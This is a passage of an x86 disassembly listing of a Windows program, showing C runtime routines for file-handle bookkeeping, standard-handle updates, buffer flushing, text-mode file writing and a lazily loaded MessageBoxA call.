mov ecx, [ebp+arg_4]
add ecx, eax
cmp [ebp+var_4], ecx
jnb short loc_42B655
mov edx, [ebp+var_4]
mov eax, [edx+4]
cmp eax, [ebp+arg_0]
jnz short loc_42B655
mov eax, [ebp+var_4]
jmp short loc_42B657
; ---------------------------------------------------------------------------
loc_42B655: ; CODE XREF: sub_42B600+43j
; sub_42B600+4Ej
xor eax, eax
loc_42B657: ; CODE XREF: sub_42B600+53j
mov esp, ebp
pop ebp
retn
sub_42B600 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
call sub_423CF0
add eax, 58h
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42B670 proc near ; CODE XREF: .nsp0:0042CF09p
push ebp
mov ebp, esp
call sub_423CF0
add eax, 54h
pop ebp
retn
sub_42B670 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42B680 proc near ; CODE XREF: sub_41F260+2CEp
; sub_42AB10+1B0p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8
mov [ebp+var_4], 0
cmp dword_4EFABC, 0
jnz short loc_42B6F3
push offset aUser32_dll_0 ; "user32.dll"
call dword_4F1374 ; LoadLibraryA
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jz short loc_42B6C7
push offset aMessageboxa ; "MessageBoxA"
mov eax, [ebp+var_8]
push eax
call dword_4F1378 ; GetProcAddress
mov dword_4EFABC, eax
cmp dword_4EFABC, 0
jnz short loc_42B6CB
loc_42B6C7: ; CODE XREF: sub_42B680+28j
xor eax, eax
jmp short loc_42B737
; ---------------------------------------------------------------------------
loc_42B6CB: ; CODE XREF: sub_42B680+45j
push offset aGetactivewindo ; "GetActiveWindow"
mov ecx, [ebp+var_8]
push ecx
call dword_4F1378 ; GetProcAddress
mov dword_4EFAC0, eax
push offset aGetlastactivep ; "GetLastActivePopup"
mov edx, [ebp+var_8]
push edx
call dword_4F1378 ; GetProcAddress
mov dword_4EFAC4, eax
loc_42B6F3: ; CODE XREF: sub_42B680+14j
cmp dword_4EFAC0, 0
jz short loc_42B705
call dword_4EFAC0
mov [ebp+var_4], eax
loc_42B705: ; CODE XREF: sub_42B680+7Aj
cmp [ebp+var_4], 0
jz short loc_42B721
cmp dword_4EFAC4, 0
jz short loc_42B721
mov eax, [ebp+var_4]
push eax
call dword_4EFAC4
mov [ebp+var_4], eax
loc_42B721: ; CODE XREF: sub_42B680+89j
; sub_42B680+92j
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+var_4]
push ecx
call dword_4EFABC
loc_42B737: ; CODE XREF: sub_42B680+49j
mov esp, ebp
pop ebp
retn
sub_42B680 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42B740 proc near ; CODE XREF: .nsp0:loc_42BBD2p
; sub_42C3D0:loc_42C669p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
mov [ebp+var_8], 0FFFFFFFFh
push 12h
call sub_41FB40
add esp, 4
mov [ebp+var_C], 0
jmp short loc_42B76A
; ---------------------------------------------------------------------------
loc_42B761: ; CODE XREF: sub_42B740:loc_42B90Bj
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
loc_42B76A: ; CODE XREF: sub_42B740+1Fj
cmp [ebp+var_C], 40h
jge loc_42B910
mov ecx, [ebp+var_C]
cmp dword_4EFC40[ecx*4], 0
jz loc_42B876
mov edx, [ebp+var_C]
mov eax, dword_4EFC40[edx*4]
mov [ebp+var_4], eax
jmp short loc_42B79D
; ---------------------------------------------------------------------------
loc_42B794: ; CODE XREF: sub_42B740+F1j
; sub_42B740:loc_42B861j
mov ecx, [ebp+var_4]
add ecx, 24h
mov [ebp+var_4], ecx
loc_42B79D: ; CODE XREF: sub_42B740+52j
mov edx, [ebp+var_C]
mov eax, dword_4EFC40[edx*4]
add eax, 480h
cmp [ebp+var_4], eax
jnb loc_42B866
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx+4]
and edx, 1
test edx, edx
jnz loc_42B861
mov eax, [ebp+var_4]
cmp dword ptr [eax+8], 0
jnz short loc_42B809
push 11h
call sub_41FB40
add esp, 4
mov ecx, [ebp+var_4]
cmp dword ptr [ecx+8], 0
jnz short loc_42B7FF
mov edx, [ebp+var_4]
add edx, 0Ch
push edx
call dword_4F1470 ; InitializeCriticalSection
mov eax, [ebp+var_4]
mov ecx, [eax+8]
add ecx, 1
mov edx, [ebp+var_4]
mov [edx+8], ecx
loc_42B7FF: ; CODE XREF: sub_42B740+A1j
push 11h
call sub_41FBE0
add esp, 4
loc_42B809: ; CODE XREF: sub_42B740+8Ej
mov eax, [ebp+var_4]
add eax, 0Ch
push eax
call dword_4F1390 ; RtlEnterCriticalSection
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx+4]
and edx, 1
test edx, edx
jz short loc_42B836
mov eax, [ebp+var_4]
add eax, 0Ch
push eax
call dword_4F138C ; RtlLeaveCriticalSection
jmp loc_42B794
; ---------------------------------------------------------------------------
loc_42B836: ; CODE XREF: sub_42B740+E2j
mov ecx, [ebp+var_4]
mov dword ptr [ecx], 0FFFFFFFFh
mov ecx, [ebp+var_C]
shl ecx, 5
mov edx, [ebp+var_C]
mov eax, [ebp+var_4]
sub eax, dword_4EFC40[edx*4]
cdq
mov esi, 24h
idiv esi
add ecx, eax
mov [ebp+var_8], ecx
jmp short loc_42B866
; ---------------------------------------------------------------------------
loc_42B861: ; CODE XREF: sub_42B740+81j
jmp loc_42B794
; ---------------------------------------------------------------------------
loc_42B866: ; CODE XREF: sub_42B740+6Fj
; sub_42B740+11Fj
cmp [ebp+var_8], 0FFFFFFFFh
jz short loc_42B871
jmp loc_42B910
; ---------------------------------------------------------------------------
loc_42B871: ; CODE XREF: sub_42B740+12Aj
jmp loc_42B90B
; ---------------------------------------------------------------------------
loc_42B876: ; CODE XREF: sub_42B740+3Fj
push 79h
push offset aOsfinfo_c ; "osfinfo.c"
push 2
push 480h
call sub_418EF0
add esp, 10h
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz short loc_42B909
mov eax, [ebp+var_C]
mov ecx, [ebp+var_4]
mov dword_4EFC40[eax*4], ecx
mov edx, dword_4EFD40
add edx, 20h
mov dword_4EFD40, edx
jmp short loc_42B8BC
; ---------------------------------------------------------------------------
loc_42B8B3: ; CODE XREF: sub_42B740+1B2j
mov eax, [ebp+var_4]
add eax, 24h
mov [ebp+var_4], eax
loc_42B8BC: ; CODE XREF: sub_42B740+171j
mov ecx, [ebp+var_C]
mov edx, dword_4EFC40[ecx*4]
add edx, 480h
cmp [ebp+var_4], edx
jnb short loc_42B8F4
mov eax, [ebp+var_4]
mov byte ptr [eax+4], 0
mov ecx, [ebp+var_4]
mov dword ptr [ecx], 0FFFFFFFFh
mov edx, [ebp+var_4]
mov byte ptr [edx+5], 0Ah
mov eax, [ebp+var_4]
mov dword ptr [eax+8], 0
jmp short loc_42B8B3
; ---------------------------------------------------------------------------
loc_42B8F4: ; CODE XREF: sub_42B740+18Fj
mov ecx, [ebp+var_C]
shl ecx, 5
mov [ebp+var_8], ecx
mov edx, [ebp+var_8]
push edx
call sub_42BC50
add esp, 4
loc_42B909: ; CODE XREF: sub_42B740+153j
jmp short loc_42B910
; ---------------------------------------------------------------------------
loc_42B90B: ; CODE XREF: sub_42B740:loc_42B871j
jmp loc_42B761
; ---------------------------------------------------------------------------
loc_42B910: ; CODE XREF: sub_42B740+2Ej
; sub_42B740+12Cj ...
push 12h
call sub_41FBE0
add esp, 4
mov eax, [ebp+var_8]
pop esi
mov esp, ebp
pop ebp
retn
sub_42B740 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42B930 proc near ; CODE XREF: .nsp0:0042BC03p
; sub_42C3D0+379p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
cmp eax, dword_4EFD40
jnb loc_42B9CA
mov ecx, [ebp+arg_0]
sar ecx, 5
mov edx, [ebp+arg_0]
and edx, 1Fh
imul edx, 24h
mov eax, dword_4EFC40[ecx*4]
cmp dword ptr [eax+edx], 0FFFFFFFFh
jnz short loc_42B9CA
cmp dword_451124, 1
jnz short loc_42B9AA
mov ecx, [ebp+arg_0]
mov [ebp+var_4], ecx
cmp [ebp+var_4], 0
jz short loc_42B982
cmp [ebp+var_4], 1
jz short loc_42B990
cmp [ebp+var_4], 2
jz short loc_42B99E
jmp short loc_42B9AA
; ---------------------------------------------------------------------------
loc_42B982: ; CODE XREF: sub_42B930+42j
mov edx, [ebp+arg_4]
push edx
push 0FFFFFFF6h
call dword_4F12F8 ; SetStdHandle
jmp short loc_42B9AA
; ---------------------------------------------------------------------------
loc_42B990: ; CODE XREF: sub_42B930+48j
mov eax, [ebp+arg_4]
push eax
push 0FFFFFFF5h
call dword_4F12F8 ; SetStdHandle
jmp short loc_42B9AA
; ---------------------------------------------------------------------------
loc_42B99E: ; CODE XREF: sub_42B930+4Ej
mov ecx, [ebp+arg_4]
push ecx
push 0FFFFFFF4h
call dword_4F12F8 ; SetStdHandle
loc_42B9AA: ; CODE XREF: sub_42B930+36j
; sub_42B930+50j ...
mov edx, [ebp+arg_0]
sar edx, 5
mov eax, [ebp+arg_0]
and eax, 1Fh
imul eax, 24h
mov ecx, dword_4EFC40[edx*4]
mov edx, [ebp+arg_4]
mov [ecx+eax], edx
xor eax, eax
jmp short loc_42B9E3
; ---------------------------------------------------------------------------
loc_42B9CA: ; CODE XREF: sub_42B930+Dj
; sub_42B930+2Dj
call sub_4248A0
mov dword ptr [eax], 9
call sub_4248B0
mov dword ptr [eax], 0
or eax, 0FFFFFFFFh
loc_42B9E3: ; CODE XREF: sub_42B930+98j
mov esp, ebp
pop ebp
retn
sub_42B930 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42B9F0 proc near ; CODE XREF: sub_41F5F0+69p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
cmp eax, dword_4EFD40
jnb loc_42BAAB
mov ecx, [ebp+arg_0]
sar ecx, 5
mov edx, [ebp+arg_0]
and edx, 1Fh
imul edx, 24h
mov eax, dword_4EFC40[ecx*4]
movsx ecx, byte ptr [eax+edx+4]
and ecx, 1
test ecx, ecx
jz loc_42BAAB
mov edx, [ebp+arg_0]
sar edx, 5
mov eax, [ebp+arg_0]
and eax, 1Fh
imul eax, 24h
mov ecx, dword_4EFC40[edx*4]
cmp dword ptr [ecx+eax], 0FFFFFFFFh
jz short loc_42BAAB
cmp dword_451124, 1
jnz short loc_42BA8A
mov edx, [ebp+arg_0]
mov [ebp+var_4], edx
cmp [ebp+var_4], 0
jz short loc_42BA68
cmp [ebp+var_4], 1
jz short loc_42BA74
cmp [ebp+var_4], 2
jz short loc_42BA80
jmp short loc_42BA8A
; ---------------------------------------------------------------------------
loc_42BA68: ; CODE XREF: sub_42B9F0+68j
push 0
push 0FFFFFFF6h
call dword_4F12F8 ; SetStdHandle
jmp short loc_42BA8A
; ---------------------------------------------------------------------------
loc_42BA74: ; CODE XREF: sub_42B9F0+6Ej
push 0
push 0FFFFFFF5h
call dword_4F12F8 ; SetStdHandle
jmp short loc_42BA8A
; ---------------------------------------------------------------------------
loc_42BA80: ; CODE XREF: sub_42B9F0+74j
push 0
push 0FFFFFFF4h
call dword_4F12F8 ; SetStdHandle
loc_42BA8A: ; CODE XREF: sub_42B9F0+5Cj
; sub_42B9F0+76j ...
mov eax, [ebp+arg_0]
sar eax, 5
mov ecx, [ebp+arg_0]
and ecx, 1Fh
imul ecx, 24h
mov edx, dword_4EFC40[eax*4]
mov dword ptr [edx+ecx], 0FFFFFFFFh
xor eax, eax
jmp short loc_42BAC4
; ---------------------------------------------------------------------------
loc_42BAAB: ; CODE XREF: sub_42B9F0+Dj
; sub_42B9F0+33j ...
call sub_4248A0
mov dword ptr [eax], 9
call sub_4248B0
mov dword ptr [eax], 0
or eax, 0FFFFFFFFh
loc_42BAC4: ; CODE XREF: sub_42B9F0+B9j
mov esp, ebp
pop ebp
retn
sub_42B9F0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42BAD0 proc near ; CODE XREF: sub_41F5F0+9p
; sub_41F5F0+24p ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
cmp eax, dword_4EFD40
jnb short loc_42BB1B
mov ecx, [ebp+arg_0]
sar ecx, 5
mov edx, [ebp+arg_0]
and edx, 1Fh
imul edx, 24h
mov eax, dword_4EFC40[ecx*4]
movsx ecx, byte ptr [eax+edx+4]
and ecx, 1
test ecx, ecx
jz short loc_42BB1B
mov edx, [ebp+arg_0]
sar edx, 5
mov eax, [ebp+arg_0]
and eax, 1Fh
imul eax, 24h
mov ecx, dword_4EFC40[edx*4]
mov eax, [ecx+eax]
jmp short loc_42BB34
; ---------------------------------------------------------------------------
loc_42BB1B: ; CODE XREF: sub_42BAD0+Cj
; sub_42BAD0+2Ej
call sub_4248A0
mov dword ptr [eax], 9
call sub_4248B0
mov dword ptr [eax], 0
or eax, 0FFFFFFFFh
loc_42BB34: ; CODE XREF: sub_42BAD0+49j
pop ebp
retn
sub_42BAD0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
sub esp, 0Ch
mov byte ptr [ebp-0Ch], 0
mov eax, [ebp+0Ch]
and eax, 8
test eax, eax
jz short loc_42BB5D
mov cl, [ebp-0Ch]
or cl, 20h
mov [ebp-0Ch], cl
loc_42BB5D: ; CODE XREF: .nsp0:0042BB52j
mov edx, [ebp+0Ch]
and edx, 4000h
test edx, edx
jz short loc_42BB72
mov al, [ebp-0Ch]
or al, 80h
mov [ebp-0Ch], al
loc_42BB72: ; CODE XREF: .nsp0:0042BB68j
mov ecx, [ebp+0Ch]
and ecx, 80h
test ecx, ecx
jz short loc_42BB88
mov dl, [ebp-0Ch]
or dl, 10h
mov [ebp-0Ch], dl
loc_42BB88: ; CODE XREF: .nsp0:0042BB7Dj
mov eax, [ebp+8]
push eax
call dword_4F12FC ; GetFileType
mov [ebp-4], eax
cmp dword ptr [ebp-4], 0
jnz short loc_42BBB2
call dword_4F1348 ; RtlGetLastWin32Error
push eax
call sub_424800
add esp, 4
or eax, 0FFFFFFFFh
jmp loc_42BC40
; ---------------------------------------------------------------------------
loc_42BBB2: ; CODE XREF: .nsp0:0042BB99j
cmp dword ptr [ebp-4], 2
jnz short loc_42BBC3
mov cl, [ebp-0Ch]
or cl, 40h
mov [ebp-0Ch], cl
jmp short loc_42BBD2
; ---------------------------------------------------------------------------
loc_42BBC3: ; CODE XREF: .nsp0:0042BBB6j
cmp dword ptr [ebp-4], 3
jnz short loc_42BBD2
mov dl, [ebp-0Ch]
or dl, 8
mov [ebp-0Ch], dl
loc_42BBD2: ; CODE XREF: .nsp0:0042BBC1j
; .nsp0:0042BBC7j
call sub_42B740
mov [ebp-8], eax
cmp dword ptr [ebp-8], 0FFFFFFFFh
jnz short loc_42BBFB
call sub_4248A0
mov dword ptr [eax], 18h
call sub_4248B0
mov dword ptr [eax], 0
or eax, 0FFFFFFFFh
jmp short loc_42BC40
; ---------------------------------------------------------------------------
loc_42BBFB: ; CODE XREF: .nsp0:0042BBDEj
mov eax, [ebp+8]
push eax
mov ecx, [ebp-8]
push ecx
call sub_42B930
add esp, 8
mov dl, [ebp-0Ch]
or dl, 1
mov [ebp-0Ch], dl
mov eax, [ebp-8]
sar eax, 5
mov ecx, [ebp-8]
and ecx, 1Fh
imul ecx, 24h
mov edx, dword_4EFC40[eax*4]
mov al, [ebp-0Ch]
mov [edx+ecx+4], al
mov ecx, [ebp-8]
push ecx
call sub_42BCE0
add esp, 4
mov eax, [ebp-8]
loc_42BC40: ; CODE XREF: .nsp0:0042BBADj
; .nsp0:0042BBF9j
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42BC50 proc near ; CODE XREF: sub_41F570+50p
; sub_422100+50p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
sar eax, 5
mov ecx, [ebp+arg_0]
and ecx, 1Fh
imul ecx, 24h
mov edx, dword_4EFC40[eax*4]
add edx, ecx
mov [ebp+var_4], edx
mov eax, [ebp+var_4]
cmp dword ptr [eax+8], 0
jnz short loc_42BCB1
push 11h
call sub_41FB40
add esp, 4
mov ecx, [ebp+var_4]
cmp dword ptr [ecx+8], 0
jnz short loc_42BCA7
mov edx, [ebp+var_4]
add edx, 0Ch
push edx
call dword_4F1470 ; InitializeCriticalSection
mov eax, [ebp+var_4]
mov ecx, [eax+8]
add ecx, 1
mov edx, [ebp+var_4]
mov [edx+8], ecx
loc_42BCA7: ; CODE XREF: sub_42BC50+39j
push 11h
call sub_41FBE0
add esp, 4
loc_42BCB1: ; CODE XREF: sub_42BC50+26j
mov eax, [ebp+arg_0]
sar eax, 5
mov ecx, [ebp+arg_0]
and ecx, 1Fh
imul ecx, 24h
mov edx, dword_4EFC40[eax*4]
lea eax, [edx+ecx+0Ch]
push eax
call dword_4F1390 ; RtlEnterCriticalSection
mov esp, ebp
pop ebp
retn
sub_42BC50 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42BCE0 proc near ; CODE XREF: sub_41F570+6Bp
; sub_422100+73p ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
sar eax, 5
mov ecx, [ebp+arg_0]
and ecx, 1Fh
imul ecx, 24h
mov edx, dword_4EFC40[eax*4]
lea eax, [edx+ecx+0Ch]
push eax
call dword_4F138C ; RtlLeaveCriticalSection
pop ebp
retn
sub_42BCE0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42BD10 proc near ; CODE XREF: sub_41F790+2Fp
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
cmp eax, dword_4EFD40
jnb short loc_42BD41
mov ecx, [ebp+arg_0]
sar ecx, 5
mov edx, [ebp+arg_0]
and edx, 1Fh
imul edx, 24h
mov eax, dword_4EFC40[ecx*4]
movsx ecx, byte ptr [eax+edx+4]
and ecx, 1
test ecx, ecx
jnz short loc_42BD54
loc_42BD41: ; CODE XREF: sub_42BD10+Dj
call sub_4248A0
mov dword ptr [eax], 9
or eax, 0FFFFFFFFh
jmp loc_42BDDE
; ---------------------------------------------------------------------------
loc_42BD54: ; CODE XREF: sub_42BD10+2Fj
mov edx, [ebp+arg_0]
push edx
call sub_42BC50
add esp, 4
mov eax, [ebp+arg_0]
sar eax, 5
mov ecx, [ebp+arg_0]
and ecx, 1Fh
imul ecx, 24h
mov edx, dword_4EFC40[eax*4]
movsx eax, byte ptr [edx+ecx+4]
and eax, 1
test eax, eax
jz short loc_42BDBD
mov ecx, [ebp+arg_0]
push ecx
call sub_42BAD0
add esp, 4
push eax
call dword_4F12F4 ; FlushFileBuffers
test eax, eax
jnz short loc_42BDA4
call dword_4F1348 ; RtlGetLastWin32Error
mov [ebp+var_4], eax
jmp short loc_42BDAB
; ---------------------------------------------------------------------------
loc_42BDA4: ; CODE XREF: sub_42BD10+87j
mov [ebp+var_4], 0
loc_42BDAB: ; CODE XREF: sub_42BD10+92j
cmp [ebp+var_4], 0
jnz short loc_42BDB3
jmp short loc_42BDCF
; ---------------------------------------------------------------------------
loc_42BDB3: ; CODE XREF: sub_42BD10+9Fj
call sub_4248B0
mov edx, [ebp+var_4]
mov [eax], edx
loc_42BDBD: ; CODE XREF: sub_42BD10+70j
call sub_4248A0
mov dword ptr [eax], 9
mov [ebp+var_4], 0FFFFFFFFh
loc_42BDCF: ; CODE XREF: sub_42BD10+A1j
mov eax, [ebp+arg_0]
push eax
call sub_42BCE0
add esp, 4
mov eax, [ebp+var_4]
loc_42BDDE: ; CODE XREF: sub_42BD10+3Fj
mov esp, ebp
pop ebp
retn
sub_42BD10 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42BDF0 proc near ; CODE XREF: sub_41F7E0+57p
; sub_422AF0+1C9p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
cmp eax, dword_4EFD40
jnb short loc_42BE21
mov ecx, [ebp+arg_0]
sar ecx, 5
mov edx, [ebp+arg_0]
and edx, 1Fh
imul edx, 24h
mov eax, dword_4EFC40[ecx*4]
movsx ecx, byte ptr [eax+edx+4]
and ecx, 1
test ecx, ecx
jnz short loc_42BE3C
loc_42BE21: ; CODE XREF: sub_42BDF0+Dj
call sub_4248A0
mov dword ptr [eax], 9
call sub_4248B0
mov dword ptr [eax], 0
or eax, 0FFFFFFFFh
jmp short loc_42BE6E
; ---------------------------------------------------------------------------
loc_42BE3C: ; CODE XREF: sub_42BDF0+2Fj
mov edx, [ebp+arg_0]
push edx
call sub_42BC50
add esp, 4
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_42BE80
add esp, 0Ch
mov [ebp+var_4], eax
mov eax, [ebp+arg_0]
push eax
call sub_42BCE0
add esp, 4
mov eax, [ebp+var_4]
loc_42BE6E: ; CODE XREF: sub_42BDF0+4Aj
mov esp, ebp
pop ebp
retn
sub_42BDF0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42BE80 proc near ; CODE XREF: sub_42BDF0+64p
; sub_430DB0+145p
var_420 = dword ptr -420h
var_41C = byte ptr -41Ch
var_418 = dword ptr -418h
var_414 = byte ptr -414h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 420h
mov [ebp+var_10], 0
mov eax, [ebp+var_10]
mov [ebp+var_420], eax
cmp [ebp+arg_8], 0
jnz short loc_42BEA6
xor eax, eax
jmp loc_42C0EF
; ---------------------------------------------------------------------------
loc_42BEA6: ; CODE XREF: sub_42BE80+1Dj
mov ecx, [ebp+arg_0]
sar ecx, 5
mov edx, [ebp+arg_0]
and edx, 1Fh
imul edx, 24h
mov eax, dword_4EFC40[ecx*4]
movsx ecx, byte ptr [eax+edx+4]
and ecx, 20h
test ecx, ecx
jz short loc_42BED8
push 2
push 0
mov edx, [ebp+arg_0]
push edx
call sub_429380
add esp, 0Ch
loc_42BED8: ; CODE XREF: sub_42BE80+46j
mov eax, [ebp+arg_0]
sar eax, 5
mov ecx, [ebp+arg_0]
and ecx, 1Fh
imul ecx, 24h
mov edx, dword_4EFC40[eax*4]
movsx eax, byte ptr [edx+ecx+4]
and eax, 80h
test eax, eax
jz loc_42C00C
mov ecx, [ebp+arg_4]
mov [ebp+var_4], ecx
mov [ebp+var_C], 0
loc_42BF0D: ; CODE XREF: sub_42BE80:loc_42C005j
mov edx, [ebp+var_4]
sub edx, [ebp+arg_4]
cmp edx, [ebp+arg_8]
jnb loc_42C00A
lea eax, [ebp+var_414]
mov [ebp+var_8], eax
loc_42BF25: ; CODE XREF: sub_42BE80+115j
mov ecx, [ebp+var_8]
lea edx, [ebp+var_414]
sub ecx, edx
cmp ecx, 400h
jge short loc_42BF97
mov eax, [ebp+var_4]
sub eax, [ebp+arg_4]
cmp eax, [ebp+arg_8]
jnb short loc_42BF97
mov ecx, [ebp+var_4]
mov dl, [ecx]
mov [ebp+var_41C], dl
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
movsx ecx, [ebp+var_41C]
cmp ecx, 0Ah
jnz short loc_42BF81
mov edx, [ebp+var_420]
add edx, 1
mov [ebp+var_420], edx
mov eax, [ebp+var_8]
mov byte ptr [eax], 0Dh
mov ecx, [ebp+var_8]
add ecx, 1
mov [ebp+var_8], ecx
loc_42BF81: ; CODE XREF: sub_42BE80+E1j
mov edx, [ebp+var_8]
mov al, [ebp+var_41C]
mov [edx], al
mov ecx, [ebp+var_8]
add ecx, 1
mov [ebp+var_8], ecx
jmp short loc_42BF25
; ---------------------------------------------------------------------------
loc_42BF97: ; CODE XREF: sub_42BE80+B6j
; sub_42BE80+C1j
push 0
lea edx, [ebp+var_418]
push edx
mov eax, [ebp+var_8]
lea ecx, [ebp+var_414]
sub eax, ecx
push eax
lea edx, [ebp+var_414]
push edx
mov eax, [ebp+arg_0]
sar eax, 5
mov ecx, [ebp+arg_0]
and ecx, 1Fh
imul ecx, 24h
mov edx, dword_4EFC40[eax*4]
mov eax, [edx+ecx]
push eax
call dword_4F139C ; WriteFile
test eax, eax
jz short loc_42BFFA
mov ecx, [ebp+var_10]
add ecx, [ebp+var_418]
mov [ebp+var_10], ecx
mov edx, [ebp+var_8]
lea eax, [ebp+var_414]
sub edx, eax
cmp [ebp+var_418], edx
jge short loc_42BFF8
jmp short loc_42C00A
; ---------------------------------------------------------------------------
loc_42BFF8: ; CODE XREF: sub_42BE80+174j
jmp short loc_42C005
; ---------------------------------------------------------------------------
loc_42BFFA: ; CODE XREF: sub_42BE80+155j
call dword_4F1348 ; RtlGetLastWin32Error
mov [ebp+var_C], eax
jmp short loc_42C00A
; ---------------------------------------------------------------------------
loc_42C005: ; CODE XREF: sub_42BE80:loc_42BFF8j
jmp loc_42BF0D
; ---------------------------------------------------------------------------
loc_42C00A: ; CODE XREF: sub_42BE80+96j
; sub_42BE80+176j ...
jmp short loc_42C05C
; ---------------------------------------------------------------------------
loc_42C00C: ; CODE XREF: sub_42BE80+7Aj
push 0
lea ecx, [ebp+var_418]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
sar ecx, 5
mov edx, [ebp+arg_0]
and edx, 1Fh
imul edx, 24h
mov eax, dword_4EFC40[ecx*4]
mov ecx, [eax+edx]
push ecx
call dword_4F139C ; WriteFile
test eax, eax
jz short loc_42C053
mov [ebp+var_C], 0
mov edx, [ebp+var_418]
mov [ebp+var_10], edx
jmp short loc_42C05C
; ---------------------------------------------------------------------------
loc_42C053: ; CODE XREF: sub_42BE80+1BFj
call dword_4F1348 ; RtlGetLastWin32Error
mov [ebp+var_C], eax
loc_42C05C: ; CODE XREF: sub_42BE80:loc_42C00Aj
; sub_42BE80+1D1j
cmp [ebp+var_10], 0
jnz loc_42C0E6
cmp [ebp+var_C], 0
jz short loc_42C09A
cmp [ebp+var_C], 5
jnz short loc_42C089
call sub_4248A0
mov dword ptr [eax], 9
call sub_4248B0
mov ecx, [ebp+var_C]
mov [eax], ecx
jmp short loc_42C095
; ---------------------------------------------------------------------------
loc_42C089: ; CODE XREF: sub_42BE80+1F0j
mov edx, [ebp+var_C]
push edx
call sub_424800
add esp, 4
loc_42C095: ; CODE XREF: sub_42BE80+207j
or eax, 0FFFFFFFFh
jmp short loc_42C0EF
; ---------------------------------------------------------------------------
loc_42C09A: ; CODE XREF: sub_42BE80+1EAj
mov eax, [ebp+arg_0]
sar eax, 5
mov ecx, [ebp+arg_0]
and ecx, 1Fh
imul ecx, 24h
mov edx, dword_4EFC40[eax*4]
movsx eax, byte ptr [edx+ecx+4]
and eax, 40h
test eax, eax
jz short loc_42C0CB
mov ecx, [ebp+arg_4]
movsx edx, byte ptr [ecx]
cmp edx, 1Ah
jnz short loc_42C0CB
xor eax, eax
jmp short loc_42C0EF
; ---------------------------------------------------------------------------
loc_42C0CB: ; CODE XREF: sub_42BE80+23Aj
; sub_42BE80+245j
call sub_4248A0
mov dword ptr [eax], 1Ch
call sub_4248B0
mov dword ptr [eax], 0
or eax, 0FFFFFFFFh
jmp short loc_42C0EF
; ---------------------------------------------------------------------------
loc_42C0E6: ; CODE XREF: sub_42BE80+1E0j
mov eax, [ebp+var_10]
sub eax, [ebp+var_420]
loc_42C0EF: ; CODE XREF: sub_42BE80+21j
; sub_42BE80+218j ...
mov esp, ebp
pop ebp
retn
sub_42BE80 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42C100 proc near ; CODE XREF: sub_421E50+98p
; sub_424370+ECp ...
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_438620
push offset sub_42A9E4
mov eax, large fs:0
push eax
mov large fs:0, esp
add esp, 0FFFFFFE4h
push ebx
push esi
